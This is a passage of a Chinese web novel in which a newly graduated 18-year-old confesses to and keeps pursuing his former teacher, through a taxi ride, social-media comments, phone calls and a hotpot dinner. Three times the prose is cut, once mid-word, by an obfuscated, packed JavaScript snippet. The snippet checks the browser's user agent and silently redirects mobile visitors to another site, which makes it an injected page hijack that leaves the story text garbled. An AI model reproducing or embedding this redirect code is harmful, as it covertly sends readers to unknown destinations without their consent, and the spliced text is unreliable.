蒋一茉拿手肘去顶对方结实的胸膛,纪复白却摘了眼镜扔一边,不管不顾倒她肩上,语气黏黏糊糊地跟她耳语:“我晚上也喝了很多酒,让我靠一会儿,姐姐,好姐姐~” 确实有挺浓的酒味,她猜想他之前看着清醒可能是在硬撑,这会儿车内开着凉爽空调,又有自己做抱枕,难免撑不住。 她不再动,由他去了。 “今天抱你那男的,是你新交的男朋友?” 安静一会儿后,少年懒洋洋问道。 “如果你认为是,为什么还不放开我?” 她说着,又抬手肘顶他一下。 纪复白轻声笑了笑,“当然因为我喜欢姐姐啊,我是不介意当第三者,但是如果你愿意只要我一个,会没那么多麻烦……” 蒋一茉:“!!!” 什么?喜欢她?还要给她当第三者?纪复白这短短几天是被夺舍了吗? 蒋一茉想要把这话列入年度恐怖语录TOP1,看来他真是醉得不轻。 “首先,那男的不是我男朋友,只是前男友,其次,当第三者是不对的,不可以,知道吗?”她说。 “嗯,好。”纪复白点头,乖乖答应。 过了会儿,又问:“那你会跟他复合吗?” “这就不关你的事了。”蒋一茉看向窗外。 “别跟他复合,他有我好吗,长得比我差远了,还比我矮,开个破车……”纪复白嘟嘟囔囔的骂。 蒋一茉本不想理会,但这话听起来实在过于混蛋。 “少看不起人,你管人家开什么车,那都是人家自己挣来的,你呢?我知道你平时上下学坐的都是宾利一类的车,但你吃穿用有一分钱是你自己挣的吗,怎么好意思瞧不起人?” 她小声训他。 纪复白却笑得很开心:“骂得好,除了你,也没人骂我,继续,实在不解气,打一巴掌也行。” 蒋一茉:“……” 听他这么说,还在那儿笑,蒋一茉心里浮起一点酸楚,反倒不忍心再骂。 纪复白:“我知道,我不该瞧不起人,但我嫉妒,嫉妒到发疯。” 纪复白:“你怎么可以给他抱,还坐他车,他还摸你头发。” 纪复白:“我很难过,你知不知道。” 纪复白:“你之前问,我喜欢的人是谁,是你,一直都是你,蒋一茉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320798|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪复白几乎把整张脸埋进她肩窝,吐出的气息滚烫,语气平静,夹杂感伤。 “……”这一番话,把蒋一茉震得半天回不过神来。 有很多话想说,却最终选择了保持沉默。 他喝醉了,讲再多又有什么用。 青春年少,人心寂寞,荷尔蒙泛滥,想找人宣泄情感也可以理解。 幸好已经毕业,回去睡一觉,以后不再见面,自然就淡了。 纪复白仿佛会读心术,声音又再响起:“我知道你在想什么——他喝醉了,别理他。对吗?” 蒋一茉:“……” 纪复白:“我是喝的有点多,但我没醉,每个字,都是我真心。” 此后,两人都没有再讲话。 车子已经开出市区,进入不再繁华的五环外,没什么夜景可言,也没有绚丽的霓虹,车内陷入漆黑。 原来车里还在播着音乐——这时蒋一茉耳朵才有功夫听别的。 她左耳进去一句歌词,右耳就被一道热息喷洒。 音乐婉转磨耳,配合近在咫尺的灼人呼吸,她感觉自己被突然扔到了一艘孤船上,面对的是从未走过的一条路,又因寻不到目的地,只是在大海上飘着,整个人感觉天地倒悬,晕头转向。 - 快到地方,蒋一茉让司机师傅停在大路口,不用往小区里开,里面道窄不好走。 她一边轻推纪复白,一边叫醒他。 睡了一觉,少年眼里终于清明一点。 下车后,走了两步,还是像踩在棉花上,纪复白撑着旁边树干停下来。 “等我两分钟,缓一下。”他闭上眼,皱着眉。 这时的语气已经不像车上那会儿撒娇耍赖黏黏糊糊,恢复平常。 见他一脸难受,蒋一茉抬手摸到他背上,一下一下轻抚着。 “喝了多少?”她问。 纪复白:“没数,白的啤的,拿到什么喝什么。” 蒋一茉:“喝那么多酒干什么?” “……”过了两秒,纪复白才勉强一笑,“在车上不是说了吗,难过,心里不好受。” “……”蒋一茉没回应,不知道该说什么。 “好些了吗?”过了会儿,她才又问。 纪复白点头,“走吧。” 蒋一茉想想,还是聊点别的:“这两天发挥怎么样?感觉今年整体难度都有所上涨。” 纪复白挑唇,笑说:“今天考完最后一科,我就知道——” 他故意不说后半句,卖个关子,于是果然听到蒋一茉问:“知道什么?” 纪复白:“爷就是这届理科状元。” 好狂。 蒋一茉想叫他保持谦虚,又觉得年少可以轻狂,十分可爱。 “这话我只跟你一个人说,你先别宣扬。”纪复白又道。 “狂就狂到底,你怂什么?”蒋一茉被他逗乐,笑起来。 “如果不是,很丢脸。”纪复白也跟着笑。 蒋一茉:“那你就不怕在我面前丢脸?” 纪复白扬了扬眉,“我在你面前哪儿还有脸?” 刚在车上连愿意当小三的话都说出来了。 几句话的功夫,两人来到单元楼下。 蒋一茉道:“就送到这儿吧。” 纪复白:“等等,我还有话想跟你说。” 纪复白往前又再站了站,揣在裤兜里的手攥紧了,喉结滚了滚,黑眸如墨,眼底温柔流淌,清朗嗓音伴着聒噪蝉鸣:“蒋一茉,我喜欢你,做我女朋友,好不好,然后等我可以领证了,我们就结婚。” 8. 礼物 蒋一茉遇到比自己还天真的人,在王衍之那里无比复杂的流程,在纪复白这儿简单到只有一句话。 她从少年的眼睛里看到对未来无畏无惧的精神。 这是专属少年的炽热和冲动,但她并不觉得感动,而是可怕。 王衍之和纪复白简直是两个极端。 一个极度冷静,思前想后,权衡利弊。 一个不管不顾,连爱一个人需要承担的责任和后果是什么都不知道,却觉得自己全都能扛得起来。 蒋一茉慢慢垂下眼,在这过程里找回声音,声音在盛夏夜晚透着一点凉意:“我大你六岁,纪复白,你还太年轻,等你到我这个年龄,如果还这么想,那时再说吧。” 纪复白:“然后呢,那时你就30了,你是不是又要说纪复白等你到30我们再说?你永远都大我6岁,永远都要拿年龄压我吗,那我到底要怎么样才追得上你?” 蒋一茉:“……” 纪复白捧起蒋一茉的脸,珍惜地,轻轻地抚摸:“我知道,你可能觉得很突然,但对于我,喜欢你已经是和喝水吃饭一样平常的事。你可以先不答应跟我在一起,我只希望你能平等的考虑我,和考虑其他男人一样。你大我六岁又怎么样,我根本不在乎,你也不要在乎,好不好?” 他看了看她,又问:“可以把我初吻送给你吗?” 镜片后那双好看的桃花眼微垂,眼尾闪烁渴望。 他想抱她亲她,每一分每一秒都在想,每一分每一秒都在克制压抑。 目光微微落下,落在曾经使他整晚失眠的红润的唇上,缓缓贴近…… ……先是呼吸纠缠,紧接着马上就能尝到那口红的滋味时,他的唇被什么东西一下挡住。 “给你补上的生日礼物,提前声明不是什么贵重东西,回家再拆。” 蒋一茉把礼物放他手里,转身上楼,“噔噔噔”的脚步声传来,一楼二楼接连亮起声控灯。 纪复白摸着顺滑的深蓝色包装纸,独自立在路灯下,一声无奈叹息随夏风飘散。 回到家,他忍了忍没先看礼物,等把自己洗干净了,才坐到书桌前,开始慢慢拆…… - 蒋一茉直到洗完澡躺在床上,还十分恍惚。 感觉自己是在被捉弄。 成绩好又是有钱人家的小孩,觉得一切都没劲也没挑战性,于是盯上她,想把她当做目标来征服也不是没有可能。 想征服的也不是她本人,而是她的身份,谁不想试试以下欺上呢? 普通人有贼心没贼胆,这位小公子哥却是两样都不缺。 灯光晃眼,又懒得起身去关,蒋一茉抬起手臂挡在眼前。 心里明白,就算不是捉弄,她也不会当真,也万万不敢当真。 睡前,蒋一茉照旧刷一刷朋友圈,纪复白半个小时前发布了一条最新动态,不再是仅她可见,点赞和评论数分钟内爆棚—— 【六月的晚风如此无力,没能把你推向我 等到冬天,你会随风入我怀吗?——纪复白】 这句写在白纸上的情话,因主人一手漂亮的行楷,平添更多浪漫氛围,旁边,斜放着她今晚刚送给他的那只钢笔——LAMY2000。 蒋一茉看着底下那些评论。 物理高老师:情窦初开啦小白(微笑) 数学李老师:看起来像是表白失败了,小白(捂脸哭笑) 吴南:只有大帅哥能这么矫情,建议其他人不要学。 常美:祝当了我三年后桌的小白同学能有情人终成眷属(龇牙笑) 物理课代表:白爷,物理最后一道选择题你选的A还是B? 化学课代表:有没有人知道白爷说的谁,@给我们看一下! 英语课代表:Nevermind,I''llfindsomeonelikeyou,LittleWhite。 数学课代表:这就是语文课代表的拍照技术吗?还有楼上英语课代表藏得够深的哈哈。 唐主任:小蒋来点评一下这话有没有点文采? 蒋一茉:“……” 滑到这儿,蒋一茉额头多出两条黑线。 不打算理会,她锁上手机准备睡觉。 想了想,又拿出手机,既然这样,她选择当那个让他讨厌的人。 她评论:送你钢笔不是写这些东西的,小小年纪不要满脑子情啊爱,想点正经事! 评论区最扫兴的是她,语气最不好的是她,给人难堪的是她,腐朽古板的是她。 这样,你还要继续喜欢吗,纪复白? 第二天,文娟在杂货店里,蒋一茉则在家赖床,睡到下午一点多才起,高考结束后,她也终于迎来几天假期。 刷牙时,她另只手摸来手机,点开微信。 昨天那条评论,已经收到纪复白回复,回复时间是凌晨四点,也不知道他是一夜没睡还是醒的太早。 针对她那一句十分扫兴的说教,纪复白的回复是:睡醒了吗,蒋一茉? 甫一看清他回了什么,蒋一茉差点被牙膏呛到。 这是在骂她发言时脑子不清醒? 大概凌晨四点确实没什么事干,纪复白一一回复了大家的评论,蒋一茉挨着翻看。 物理高老师:情窦初开啦小白(微笑) 纪复白:是的,高老师(微笑) 数学李老师:看起来像是表白失败了,小白(捂脸哭笑) 纪复白:这么明显吗?(微笑) 吴南:只有大帅哥能这么矫情,建议其他人不要学。 纪复白:可以尝试下,会有意想不到的效果。(微笑) 常美:祝当了我三年后桌的小白同学能有情人终成眷属(龇牙笑) 纪复白:谢谢(微笑) 物理课代表:白爷,物理最后一道选择你选的A还是B? 纪复白:c(微笑) 化学课代表:有没有人知道白爷说的谁,@给我们看一下! 纪复白:我都不敢@她(微笑) 英语课代表:Nevermind,I''llfindsomeonelikeyou.LittleWhite。 纪复白:歌是好歌,毕业快乐。(微笑) 数学课代表:这就是语文课代表的拍照技术吗?还有楼上英语课代表藏得够深的哈哈。 纪复白:这就是数学课代表的抓重点能力吗?(微笑) 唐主任:小蒋来点评一下这话有没有点文采? 纪复白:她看起来想给我打负分(大哭) 蒋一茉再次翻到他给自己的回复:睡醒了吗,蒋一茉? 这样看下来,纪复白回她的这条简直是没礼貌,竟然在评论区直呼她大名,过分! 当然,确实也是她不友好在先。 蒋一茉甚至能想象如果找他理论,对方会顶着一张帅气无辜的脸说:“我是真的在关心你睡醒了没有(微笑)。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320799|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋一茉继续刷朋友圈,大家发表着各种各样的感言,有开心庆祝毕业的,有问谁能跟他一起对答案的,有大方表白的,也有和纪复白一样在惋惜什么的,还有秦勤在借由毕业季感叹她自己未能如愿的感情。 最后新内容全部刷完,蒋一茉再次刷新,也再次滚动到纪复白那条。 评论和点赞还在增加,大概也因为这是他第一条公开发布的朋友圈,实在有够火爆。 蒋一茉眼尖,看到有一条评论在说:钢笔是蒋老师送的呀! 纪复白在4分钟前回复了这条评论:是!我的18岁生日礼物!(微笑) 底下有其他人回:凌美2000,这笔挺贵的,蒋老师对学生真的好! 纪复白2分钟前回复这条:纠正一下,是对我好,跟你们没什么关系。(微笑) 那人回复:哈哈哈嘚瑟 蒋一茉连自己吞了口牙膏都没注意,举着手机,像被雷轰,整个人傻在那儿,内心里又在尖叫。 啊啊啊啊啊啊疯了他疯了! 她抖着手打了一串字:你疯了吗纪复白你疯了吗纪复白你疯了吗纪复白你疯了吗纪复白 打完,甩甩头,又全部删掉。 不行不行,这要发出去才是真的疯了。 她找到自己那条评论,抬高手,又轻轻落下,扇了自己一嘴巴,好好的提什么钢笔! 干脆把这条评论删了。 手指悬在“删除”上,她转念又一想,真删了的话,不是更加显得心里有鬼? 蒋一茉,大大方方的! 你清清白白,你坦坦荡荡,你什么都没干,你心虚个什么劲儿! 给自己打了一通气,不管了,蒋一茉决定以不变应万变,锁上手机,像扔手榴弹一样扔到沙发上,再也不看它一眼,甚至希望它真的能自爆,把纪复白本人跟他那条朋友圈也一起炸飞。 蒋一茉做了一碗面搞定午饭。 刚吃进第一口,手机震动,显示“小白”来电。 盯着这个昵称,她忽然没了什么胃口。 在一遍遍的来电显示中,蒋一茉吃完面条,又把锅碗洗了。 那边在这时停止了连环call,转而开始轰炸她微信。 纪复白:【睡醒了吗,茉茉?】 纪复白:【昨天听秦老师说你放假喜欢赖床,所以我这时候才敢给你打电话,怕吵醒你。】 纪复白:【我昨晚一夜没睡,一直在想如果你在我身边该多好,我可以抱着你,跟你说说话,也就不会觉得夜这么漫长。】 纪复白:【我并不是满脑子情和爱,你说的正经事我也都有深思熟虑,因为那是我想要为我们打造的未来。】 纪复白:【还是上学的时候好,天天都能看见你。我之前总担心一毕业跟你表白完你就不理我,不会真的这么残忍吧,蒋一茉?】 纪复白:【睡醒第一时间打给我,好不好,我真的很想你。】 纪复白:【纪复白最喜欢蒋一茉。】 纪复白:【我想把这句话发到朋友圈,我想让他们所有人知道我喜欢的是你。】 蒋一茉一条条看下来,看到最新这条,呼吸都差点吓停,手忙脚乱回复道:【不可以!你别乱来!】 消息一发出,对方的电话像颗炮弹立即循声定位炸过来。 蒋一茉无奈,再装没看见就过分了,只好接起来。 “终于吓醒了?”少年在那头得逞的笑,笑声清浅悦耳。 9. 别躲 “你爱发什么发什么,只要别带我名字,我才不管你。”蒋一茉摸来遥控器,打开电视。 听他那边些许嘈杂,又问:“你在外面?” “吴南想逛国博,叫我陪他,我走累了,现在坐在2楼咖啡馆,点了一杯美式,给你打电话。”纪复白乖乖汇报日常。 “吴南呢,在你旁边?”蒋一茉倏地坐起来。 纪复白听出来她话里的紧张,笑了笑,说:“他还在逛,等会儿我再去找他。” 蒋一茉这才松口气,“嗯”了声。 纪复白说:“我给你买了两个凤冠冰箱贴,一个金属的,一个木质的,回头和耳机一起给你拿过来。你昨晚听完我告白跟撞鬼似的,溜得那么快,耳机都没来得及还你。” 蒋一茉道:“不用,冰箱贴你自己留着吧,至于耳机,我这儿反正还有一个,一个也能听。” 纪复白:“冰箱贴是我想买来送你才一早去排队的,排了好久,你忍心拒绝吗,好姐姐?” 纪复白叫这声姐姐时声音压得很低,似乎很怕人发现似的。 听起来想跟她撒娇,又因为周围人多不好意思,别别扭扭的,给蒋一茉听笑了。 蒋一茉:“谁是郝姐姐,我不姓郝,我姓蒋。” 纪复白:“你姓坏,坏姐姐。” 蒋一茉:“……” 纪复白:“……” 电话里突如其来一阵沉默。 纪复白在咖啡馆里趴下了,脸埋进手臂,只剩红红耳朵露在外面。 这居然是从他嘴里讲出来的话,杀了他吧。 又过去一会儿,电话里终于响起蒋一茉的声音,在那边忍不住乐:“不好意思,刚刚跑去吐了一会儿。” 纪复白也在这头无声的笑,十分无奈,又轻声道:“别躲我,行吗,我只是喜欢你,我犯什么错了吗……” 他越说语气还越委屈,蒋一茉无法想象这个平常一副心高气傲姿态的少年委屈起来什么画面,心里一阵不忍,说道:“好了好了,你只要正常一点,我不会躲你。” 纪复白:“什么叫正常?” 蒋一茉:“在朋友圈发什么纪复白喜欢蒋一茉这种话就不正常!” 纪复白乐道:“不发不发,别害怕,我跟你保证,追到你,我再发,好不好?” 蒋一茉哼哼两声算同意,静了会儿,又问:“纪复白,你喜欢我什么呢?” 纪复白沉默两秒,说:“下一句是不是:我改还不行么?” 蒋一茉笑了下,“没有,我只是好奇,你为什么不去试试对同龄人感兴趣,你们更有可能。” 纪复白扫一眼此刻咖啡馆里所有的人,不同的面孔,不同的性格,不同的年龄,其中不乏和他年龄相近的女生。 不管是逛展还是坐在这里,跑来跟他搭讪的女生一只手都数不过来了。 “你怎么知道,我没试过?”他的声音里有一股无力。 正因试过才知道,非但没用,内心深处反而更加恐慌和煎熬。 恐慌是因为必须隐藏这份心思,煎熬是因为无数个时刻都有想让她知道自己心意的冲动。 但,尽管他可以不屑当什么三好学生,他可以是青春期叛逆,他可以是少年冲动荷尔蒙作祟。 可蒋一茉,必须是清清白白端端正正的优秀老师。 所以没毕业前,他把一切都压在心底最深处,半点痕迹不敢泄露。 蒋一茉听到那边有人在叫“小白”,声音听起来像吴南。 “你们继续逛吧,玩儿得开心,我先挂了。”她赶忙说道,马上就要挂电话。 “等会儿,”纪复白喊住,“你来么?” 蒋一茉:“来哪儿?” 纪复白:“来找我玩儿。” 蒋一茉:“不来不来,我还有事呢,挂了挂了,拜拜。” 纪复白:“……” 纪复白的话还没说完,看着被挂断的电话,心里直叹气。 一抬眼,吴南带着两个女孩儿来到他跟前,一个是常美,另一个是常美朋友。 “这么巧。”他道。 吴南笑道:“是吧,这么大个北京城,这么大个国博,竟然还能碰见。” 说着又看常美一眼。 两个女孩儿今天都有化妆打扮,也不再扎马尾,披着精心做过造型的长卷发,比毕业前在学校时更出挑。 纪复白道:“喝什么,我请客。” “我就知道你要请客,所以叫上我朋友,一起来敲你一顿。”常美笑说。 她按住朋友肩膀,让她坐在纪复白对面,问了她喝什么,自己跟吴南去点喝的,纪复白跟过去扫码结了账回来。 女孩儿伸出手,笑道:“我是甄晨,每次都排在你后面,总考年级第二的5班班长。” 纪复白看眼她手,淡淡道:“我是纪复白,握手就不用了。” 甄晨收回手,脸上倒是没有一点被拒绝的失落,紧接又问:“你对我有印象吗?” 纪复白摇头。 他从来不看年级排名,他回回都是第一,没什么可看的,也不太关注后面想要超越自己的都是谁。 甄晨这会儿倒有点失望,不过也只是一闪而过,立刻又道:“没关系,从此刻开始,你就对我有印象了。” 纪复白没什么反应,低头喝了口咖啡。 等吴南和常美端着喝的回来,四个人在咖啡馆坐着聊天,对了对部分□□。 常美和吴南越对心越凉。 纪复白和甄晨的答案几乎都一致,只有数学最后一道选择题,两人选的不一样。 纪复白解释了自己为什么选择A,甄晨听完,盯着他那张脸道:“好吧,算你赢,不过不是答案Y=X赢了,而是你这张认真起来更帅的脸赢了。” 常美捂脸,拉了拉闺蜜衣角,凑过去小声道:“含蓄点儿行吗?” 纪复白对这类夸奖习以为常,反而带点自嘲回应道:“你要这么说,那我赢得还挺不光彩。” 甄晨托着脸,笑得越发开心,依旧盯着他看。 纪复白今天穿了一件灰蓝色T恤,和黑色工装裤,给人很有安全感的宽肩和胸膛是天生衣架子,一件再简单不过的T恤在他身上也成了天价奢品。 他长腿随意往前搁着,甚至踩到了她旁边来,脚上是一双崭新的藏蓝色白纹Adidas运动鞋。 他拿咖啡时,手臂肌肉线条会绷得更明显,手腕子微一用力,能瞥见内侧凸起那两条强劲有力的青筋,给人感觉,仅凭一只手就能把一般女生的两只手腕轻松扣住。 常美看一眼闺蜜,简直有些受不了,过来前说好要矜持要含蓄,别把纪复白吓到,结果一看见纪复白啥啥都忘了。 甄晨家境好,大小姐性格,被周围人追捧惯了,装不出那副腼腆模样,常美也清楚,叹口气随她去了。 又坐一会儿,四个人继续逛展,逛着逛着,吴南追着常美走到前面去了,甄晨和纪复白落在后面,并排走着。 甄晨看了看那俩人凑在一起看藏品的身影,靠近纪复白道:“告诉你一个秘密,吴南喜欢常美。” 纪复白闻言蹙了蹙眉,有吗,他怎么没发现? 甄晨又道:“我再告诉你一个秘密……” “我看起来是很爱听八卦的人吗?”纪复白打断。 甄晨哑然,见对方有几分不高兴了,笑了笑说:“行吧,那我不说了。” 蒋一茉这头想整天宅在家里的想法没能实现,她被秦勤叫出去,陪着逛了一下午的街。 她自己什么也没看上,秦勤却化悲愤为力量,冲动消费了一大堆。 一直逛到晚饭时间,听说这家商场刚入驻一家很有名的重庆火锅店,两人乘电梯上楼。 到店一看要排队,蒋一茉转头想走,被秦勤拉住。 秦勤扁着嘴道:“排会儿就排会儿吧,我想吃这个。” 看在她失恋的份上,蒋一茉只得听她的,去拿了号。 现场只剩一个空凳子,她让秦勤坐,自己去接水。 店家摆在外面的柠檬水放在另一侧,蒋一茉走过去,发现没有杯子了,回头问门口服务员。 服务员说在上面柜子里,正想过去帮她拿,有人过来取号,又有人来问还有多久到他们,竟没走开。 蒋一茉看这情形,干脆自己拿吧。 打开柜子,纸杯就在里头放着。 她穿了高跟鞋,又垫起脚,手臂指尖用力延伸,居然还差着一截。 蒋一茉:…… 蒋一茉:谁那么缺德啊,把杯子放在那么高的位置! 她试了又试,恨不得跳起来拿时,贴着她背脊靠过来一个高大身躯,坚硬胸膛故意似的往前倾压,手臂一伸,轻松取出一叠纸杯来。 “笨蛋姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320800|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,不知道找人帮忙么?”那人低声说道,声音压低后更多一些磁性,十分耐听。 蒋一茉回头,背后那张帅气脸庞,冲她挑了下剑眉,几分戏谑。 男生把一叠纸杯放在旁边,抽出一只,蒋一茉打算接过来,他却绕开,放在水龙头下接柠檬水。 “打扮这么漂亮和别人逛街吃饭,也不来找我玩儿,说你是坏姐姐,还真的够坏,蒋一茉。” 他盯着水,接到三分之二处,关上水龙头,端起来。 蒋一茉心虚地眨了眨眼,抬手要拿,又被绕开,这回水杯放在她嘴边,纪复白笑道:“我喂你?” “……”蒋一茉劈手夺过,又再拿一只给秦勤也接了一杯。 她走出去,不被纪复白那高挑体格遮挡后,吴南常美这才看见她,于是都叫了声“蒋老师”。 蒋一茉回头,惊讶过后笑着跟他们打招呼,又抽空瞪一眼纪复白,后者两手插兜,靠着商场玻璃围栏懒散站着,笑得坏死了,她也快气死了。 知道吴南他们在,刚刚还故意贴她那么近,这人简直有恃无恐。 两边一碰头,发现都在等位,干脆一起吃,换成大桌,这回前面就还剩一桌。 秦勤还在原来位置坐着,纪复白则把自己的凳子让给蒋一茉。 蒋一茉没有教过5班,跟旁边比较陌生的女生彼此打了招呼。 甄晨笑道:“蒋老师,以前我们私底下给几个女老师的颜值排过序,你是大家选出来的第一名!” 蒋一茉只当是客套,要是换别的老师在这儿,肯定就说是别人了。 尽管知道是客套,心里还是有几分开心,弯眼笑道:“谢谢呀。” 甄晨又看着她脚上的鞋:“老师你的鞋好好看。” 蒋一茉今天穿了双裸粉高跟鞋,她一看,旁边两个女孩儿也穿了高跟鞋,脸上还画了漂亮的妆。 她想起来自己当初也跟她们一样,一毕业就兴冲冲地尝试化妆,结果画眼线差点没把眼睛戳瞎,眼影跟不要钱一样往眼皮上糊,被文娟问是不是被谁揍了。 之后又尝试人生第一次烫头发,那时候她还是短发,烫完变一头羊毛卷,回家被文娟说她看起来整个老了十岁,文娟天天在家管她叫“蒋姐”。 后来又买回一双高跟鞋,蹦蹦跳跳出去,摔一跤把膝盖磕破,被朋友搀扶着回来,还躺家养了几天,文娟说医药费比那鞋都贵。 “你的鞋也好看呀。”蒋一茉说,“你俩的鞋跟比我还高呢,累不累,我今天走一下午,脚腕都快累断了。” 她边说边弯腰握住脚踝轻揉。 纪复白在旁蹙着眉头心疼道:“知道出来逛街还穿高跟鞋,你不累谁累?” 蒋一茉抬头看他一眼,抿了抿唇,反击道:“要你管。” 甄晨和常美笑起来:“就是,他们男生懂什么呢。” 纪复白想说什么,瞥一眼旁边几人,把话咽了回去,扬唇无奈笑了笑,拿出手机,在微信上找蒋一茉:【我不管谁管,你想要谁管,嗯?】 又扔过去一张【狗善被人欺】表情包。 蒋一茉拿出手机,看一眼,赶紧退出,不理,继续和两个女孩儿聊天。 纪复白又发:【姐姐,待会儿我们找个没人的地方,我帮你揉揉,好不好?】 蒋一茉依旧只是看一眼,又锁屏放下。 纪复白又发一张小狗表情包:【线条小狗趴地上打滚,配字:理理我嘛】 蒋一茉无奈,回他一张表情包:【握住小狗嘴,手动给小狗闭麦】 纪复白看了,忍不住笑了声。 吴南问他笑什么呢,又打趣是不是在跟喜欢的人聊天,又抓耳挠腮地问他那女孩儿到底是谁。 甄晨说:“我知道。” 众人都看向她。 蒋一茉动作一顿,随后继续揉脚,暗地里吞口水,有些慌张。 甄晨对纪复白道:“虽然我没有你微信,但是从常美那里看见过你的微信号,名字是五个大写字母:B-A-I-M-O,如果要念的话,一个念bai,一个应该念mo,bai应该是你的‘白’,那么,那个女孩儿名字里应该有个mo字,对吗?” 蒋一茉只管揉脚,听纪复白坦荡回答道:“猜的没错,有个茉字。” 她“腾”地站了起来,“我再接杯水去。” “蒋一茉。”纪复白喊住了她。 10. 废墟 蒋一茉尽量自然地转动脖子,回头看向纪复白,她不知道为什么,男生眼底有些无奈……她才应该无奈吧! 等了等,纪复白才道:“帮我也接一杯,谢谢。” 蒋一茉接完水回来,听见叫了他们这一桌的号码,还说正好是个包间,几人起身往店里走。 她松口气,一口喝完水。 纪复白也一口喝完,空纸杯叠进蒋一茉手里喝完的纸杯,一块儿扔进旁边的垃圾桶,轻声道:“走吧,蒋胆儿小。” 蒋一茉心说是我胆小吗,是你胡来,喜欢谁不好偏喜欢我? 纪复白紧跟蒋一茉进门,占了她旁边的位置坐下。 点完菜,蒋一茉起身去卫生间洗手。 她感叹今天也是真寸,怎么就这么碰巧遇上纪复白了呢! 挤了点洗手液,正搓着,目光随意的一瞥,正巧从镜子里看见后方朝她走来的高挑少年,对方盯着她,一步一步迈得悠闲又稳健,像面对逃不脱的猎物。 她赶紧打开水龙头,快速冲水,还有一点没冲干净也不管了,转身要走,一个不防,被握住手臂拉回,男生把她堵在洗手池旁的墙角,高大身躯将她遮了个严实,一手撑墙,缓慢压近。 纪复白低眸,眼底释放渴望,戏谑道:“蒋胆儿小,跑什么,跟见鬼一样,我还能吃了你?” 蒋一茉道:“你答应我会正常一点的!” 纪复白:“我哪里不正常了?反倒是你,一脸的做贼心虚,生怕他们看不出来咱俩有事儿?” 蒋一茉睁大眼:“谁跟你有事儿?你少造谣!还有你那微信号我都不想说,少用我名字拼音!” 她越暴躁,纪复白笑得越欢,看她今天穿一条白裙子,皮肤也白嫩得跟牛奶似的,整个一奶油蛋糕,心里痒痒,俯身将人抱了个满怀。 “蒋一茉,我好想你。”他语气里带点小委屈,又收紧手臂,像是想要弥补昨晚怀里的空虚。 蒋一茉咬牙推着他肩道:“昨天才见过,你赶紧给我起开。” “最后一句,说完就走。”纪复白道,“什么时候可以把初吻送你?” 蒋一茉:“我拒绝呢?” 纪复白:“那就强行送。” 他作势要亲,却见蒋一茉沉着脸不躲,停下道:“怎么不躲?” 蒋一茉:“我看你敢不敢。” 纪复白:“……” 他当然敢,但更怕她生气。 对视几秒后,他败下阵来,一头倒在她肩上,“姐姐,我的初吻很香的,真的不要吗?” 蒋一茉:“……” 蒋一茉绷不住笑了,“纪复白,你知道什么是塌房吗,你现在在我心里,都塌成废墟了。” 纪复白道:“塌房是一种追星语录吧,原来姐姐一直在追我?” 蒋一茉:“……………………” 够了,够够的了。 - 几分钟后,蒋一茉回到包间,又过了几分钟,纪复白才回来。 这时候已经开吃,蒋一茉提前用公筷给纪复白捞了几片牛肉放他碗里。 纪复白回来看见,皱眉问是谁给他放的,他顶讨厌别人给他夹菜。 甄晨看他脸色不对,想说是蒋老师,一时间又有点不太敢说。 纪复白那张脸,脸型和五官虽然万里挑一的好看,但绝对算不上柔和,稍微动点气,就让人很不敢惹。 蒋一茉嚼完嘴里的牛肉,说:“我呀,怕你吃不上,怎么了?” 纪复白:“……” 是蒋一茉,那没事了。 纪复白表演了一出川剧变脸:“没事儿,我说谁对我这么好呢,原来是可爱可敬的小蒋老师。” 蒋一茉:“……” 蒋一茉在底下踢他一脚。 等她把脚收回来,纪复白的脚却也跟着伸过来,运动鞋碰了碰她的高跟鞋。 她没理会,对方又再碰了碰她。 【干什么?】她只好在微信上问。 纪复白回复道:【把鞋脱了,踩我脚上,会舒服点。】 发出后,又补充一条:【我刚找前台拿湿巾擦过两遍,干净的,放心踩。】 蒋一茉放下手机,脚掌实在酸疼,男生又不肯罢休一般的拿脚一直撞她,于是脱了鞋,右脚轻轻踩住他的左脚。 脚掌完全放平的刹那,她“吁”了口气。 太舒服了! 忍不住,左脚也搁了上去,又怕两只脚踩疼人家,于是自己也提着劲儿。 纪复白察觉,想发微信提醒,又觉得不如行动来得直接。 他伸手到蒋一茉腿上,往下一按,让她两只脚踏踏实实地踩住自己。 这时才又发微信给她:【如果我这点力量都承受不住的话,以后怎么抱着你上】 蒋一茉一时没反应过来,露出疑惑表情,等反应过来后,提起一口气,刚要发作,对方又补充了一个字:【楼】 蒋一茉:…… 这一下,倒给她一腔怒火憋那儿了。 她瞪向那不老实的本人,对方一脸无辜,反问她:“怎么了?辣着了吗,两眼冒火?” 蒋一茉:…… 